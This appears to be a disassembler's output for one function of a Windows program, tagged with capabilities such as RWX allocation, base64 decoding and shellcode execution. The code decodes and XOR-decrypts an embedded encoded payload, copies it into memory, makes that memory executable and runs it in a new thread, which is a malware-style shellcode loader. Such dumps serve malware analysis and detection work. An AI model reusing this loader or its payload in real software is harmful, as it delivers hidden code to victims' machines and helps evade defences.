Function at 0x140001398
Capabilities:
Allocate or change rwx memory
Create thread
Decode data using base64 via winapi
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x208
mov qword [rsp + 0x170], 0xfffffffffffffffe
mov qword [rsp + 0x138], 0xf
lea rdx, str._get_timestamp___n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002b24
call fcn.1400012dc
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
lea rdx, [0x1400065c4]
mov rcx, rax
call fcn.140002b24
mov ecx, 0xf
call fcn.140001318
call fcn.1400012dc
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
lea rdx, [0x14000667c]
mov rcx, rax
call fcn.140002b24
lea rdx, str.PlR4VSRBVX5oUFBQUFRXQ0BHU0JER0tYXHVbfUJYZUJIVHhdRHl5WHggWHZCWGVoRFR2QWUhYVpFRVlbQlVZUGNVaXl3UFhiWFRZU2hAIFNQcll4JkdbU0REeF1EeFJdQHtpWFB1U3x2SXZIUmZbIHJZFB4UFBQUFR4V2ZZQ39CUFlARFhlWFZUQl1AUlNbUHVVe0d6ez5oRFZdX1h5WFB1S19ccn1YXHJSYkByWVtVRFRTZkV7dnV3V1xQIWZ6UlREJCFJSUhGVEJdQFJDW1B1U3xASGJcQlRCXUBTaVtQdVNTeGZCWEJQWUBAR3lTRlckS0Z6V0hAR31TRnp4VSZSU1NEZz52RlRXS0Z6eF1UZH1BPj4PklGflBCcyQicEYkYXN8RyFQVFdGQkh_fEVYf2lAc2FcdWhIWT4oR1hccn1YXHVbX1xyU19ccn1TRFRXQEBzfidHf3x_PihJY3IgYVh4cldTZFdQUFBQU19ccn1TRERXQ3B2X1NERFYnRyV8d2lnPkcnIH1zQlh_U0JVWUJCSH9IRUVZW0R8dlBQelJURH1bU2RkZUdde2cIER4W2l6eFVmIFNgUn0oWHh3V1h4dWFbaSlVPj4Pj5FRVlbRH1bU2R4IVZWWWcIEhJUFUlRnVQQFBQQkEQVUlQlxQQFBQJyhBYSRQVFBQXnh4Pj4Pl0ifWFcIXZQXSBpUlZicn5jR3h6Z11ZQHZ2JVVwOkBZXGFVOmF7fkZJY1IicyFHYkUjYGtXJEcoIX4geGVgeX4nSVpQWnRbYGl4WHlpJkMjVEJDUGdySSNBKHRicHtweVdLSERyI1pTVVBTR3IjR2hdRFd_S0YkIV54U19zImFhc1ZpeV1rRGRcUlBSCMoZXJWVyFwRltiS0VidkVHX1tDQlAkXXtQJlhXdWFzfENndSJcdkV9QHZfeCVpXmhTSXBGJSNfVWJ2dFVIIV5oU0RyfH16S0YkIV1rRGRcVWJ2RURXXEBoel9SdlV8XUFEInx7Ul5Wcidcf30oIFlGdCNifnVeelUnOkBnWTpXa2ZAOnVeeF1IWnhYc1MoJHVzfUFefFZ6ej4lREFzU1tdJlRrUFR0UCFcQ3pjelJoWWcmX2RkZClfa1tYWyV8J1hoJHtnfUslJ2lbelRpfmAnWiR8V39LOnV4fHBkdGVHVXV4eGR7S0BUdF14WFlTZn5ecmNZd0Z8YyRyd0F8YHRUYmtJ0ZcYyFhfX9nI0dke0FkUCg6dWFgV3R5XnV1InVLKSd1RWtzIVlEUFhhdFxeUGhUeCF3ciBnJighfCZ_aHB2ZGYlQGVhSEhXenxga1JVJ2R3U3d4WWNddUBDZmtlaGkpVFYha3d9d11hUkZXQURQQHMmZmVwW0YKEdYXHJ8J1BQU1BQVFYlUFNQUFBUViRAUFBQUFRWJ0ZaQ0Ukdz5HQltfRUQheFskIXhbKUR4WyN6ViVQUlBQUFR8WzpEVidUYXBbJWcR0JYQVRYWElQdV1LfHhmdVhQcl5XZllJSUZXeUhCUERQUFBQUERcQX5_PiIPmtAIl17WCFcaCUgXkIlaFxrclBeZSRYkAsLA
lea rcx, [rsp + 0x1b0]
call fcn.140001d78
nop
lea rcx, [rsp + 0x1b0]
call fcn.140001d1c
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x1b0]
call fcn.140001d00
mov dword [rsp + 0x54], eax
lea rcx, str.activeds.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x80], rax
lea rdx, str.AllocADsMem
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xf8], rax
lea rdx, str.FreeADsMem
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xf0], rax
mov ecx, dword [rsp + 0x54]
call qword [rsp + pe_nt_image_headers64]
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [rsp + 0x140]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], 0x20
lea r9, [rsp + 0x1d0]
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.api_ms_win_core_memory_l1_1_4.dll_QueryVirtualMemoryInformation]
lea rcx, [rsp + 0x98]
call fcn.140001bb0
nop
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 1
mov edx, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rsp + 0x40]
mov edx, eax
lea rcx, [rsp + 0x98]
call fcn.140001aa4
lea rcx, [rsp + 0x98]
call fcn.140001a78
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x20], rcx
mov r9, rax
mov r8d, 1
mov edx, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov byte [rsp + 0x48], 0x11
mov byte [rsp + 0x49], 0x22
mov byte [rsp + 0x4a], 0x33
mov byte [rsp + 0x4b], 0x44
mov byte [rsp + 0x4c], 0x55
lea rax, [rsp + 0x4d]
mov r8, rax
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1f0]
call fcn.140001958
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0x50]
call fcn.14000118c
mov r8, rax
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x178]
call fcn.140001b50
nop
lea rax, [rsp + 0x178]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
call fcn.1400019a4
mov qword [rsp + 0x68], rax
mov rcx, qword [rsp + 0x90]
call fcn.140001988
mov qword [rsp + 0xb0], rax
jmp 0x140001637
mov rax, qword [rsp + 0x68]
inc rax
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0xb0]
cmp qword [rsp + 0x68], rax
je 0x140001693
mov rax, qword [rsp + 0x68]
mov al, byte [rax]
mov byte [rsp + 0x44], al
lea rcx, [rsp + 0x98]
call fcn.140001a78
mov r8b, byte [rsp + 0x44]
mov edx, dword [rsp + 0x40]
mov rcx, rax
call fcn.140001344
mov dword [rsp + 0x70], 2
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x148]
call fcn.140002edc
mov rcx, rax
call fcn.140002efc
jmp 0x14000162a
lea rcx, [rsp + 0x51]
call fcn.14000118c
mov qword [rsp + 0xb8], rax
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x98]
call fcn.1400019c0
mov qword [rsp + 0xc0], rax
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0x98]
call fcn.140001a1c
mov rcx, qword [rsp + 0xb8]
mov r9, rcx
mov rcx, qword [rsp + 0xc0]
mov r8, qword [rcx]
mov rdx, qword [rax]
lea rcx, [rsp + 0x190]
call fcn.140002f38
nop
xor r8d, r8d
lea rdx, [0x14000669c]
lea rcx, [rsp + 0x190]
call fcn.140001c8c
mov r9, rax
xor r8d, r8d
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0x190]
call fcn.140001c28
nop
lea rcx, [rsp + 0x100]
call fcn.140001bb0
nop
lea rcx, [rsp + 0x118]
call fcn.140001d00
mov qword [rsp + 0xc8], rax
lea rcx, [rsp + 0x118]
call fcn.140001d1c
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
mov r8d, 1
mov rcx, qword [rsp + 0xc8]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rsp + 0x40]
mov edx, eax
lea rcx, [rsp + 0x100]
call fcn.140001aa4
lea rcx, [rsp + 0x100]
call fcn.140001a78
mov qword [rsp + 0xd0], rax
lea rcx, [rsp + 0x118]
call fcn.140001d00
mov qword [rsp + 0xd8], rax
lea rcx, [rsp + 0x118]
call fcn.140001d1c
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0xd0]
mov r9, rcx
mov r8d, 1
mov rcx, qword [rsp + 0xd8]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rsp + 0x40]
mov qword [rsp + 0xe0], rax
lea rcx, [rsp + 0x100]
call fcn.140001a78
mov rcx, qword [rsp + 0xe0]
mov r8, rcx
mov rdx, rax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.VCRUNTIME140.dll_memmove]
mov dword [rsp + 0x58], 0
mov eax, dword [rsp + 0x40]
lea r9, [rsp + 0x58]
mov r8d, 0x40
mov edx, eax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x74], eax
cmp dword [rsp + 0x74], 0
je 0x1400018c2
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x60]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0xe8], rax
mov edx, 0xffffffff
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea r9, [rsp + 0x58]
mov r8d, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
call qword [rsp + 0xf0]
mov dword [rsp + 0x78], 0
lea rcx, [rsp + 0x100]
call fcn.140001b2c
nop
lea rcx, [rsp + 0x118]
call fcn.140001d48
nop
lea rcx, [rsp + 0x190]
call fcn.140001d48
nop
lea rcx, [rsp + 0x178]
call fcn.140001b2c
nop
lea rcx, [rsp + 0x98]
call fcn.140001b2c
nop
lea rcx, [rsp + 0x1b0]
call fcn.140001d48
mov eax, dword [rsp + 0x78]
add rsp, 0x208
ret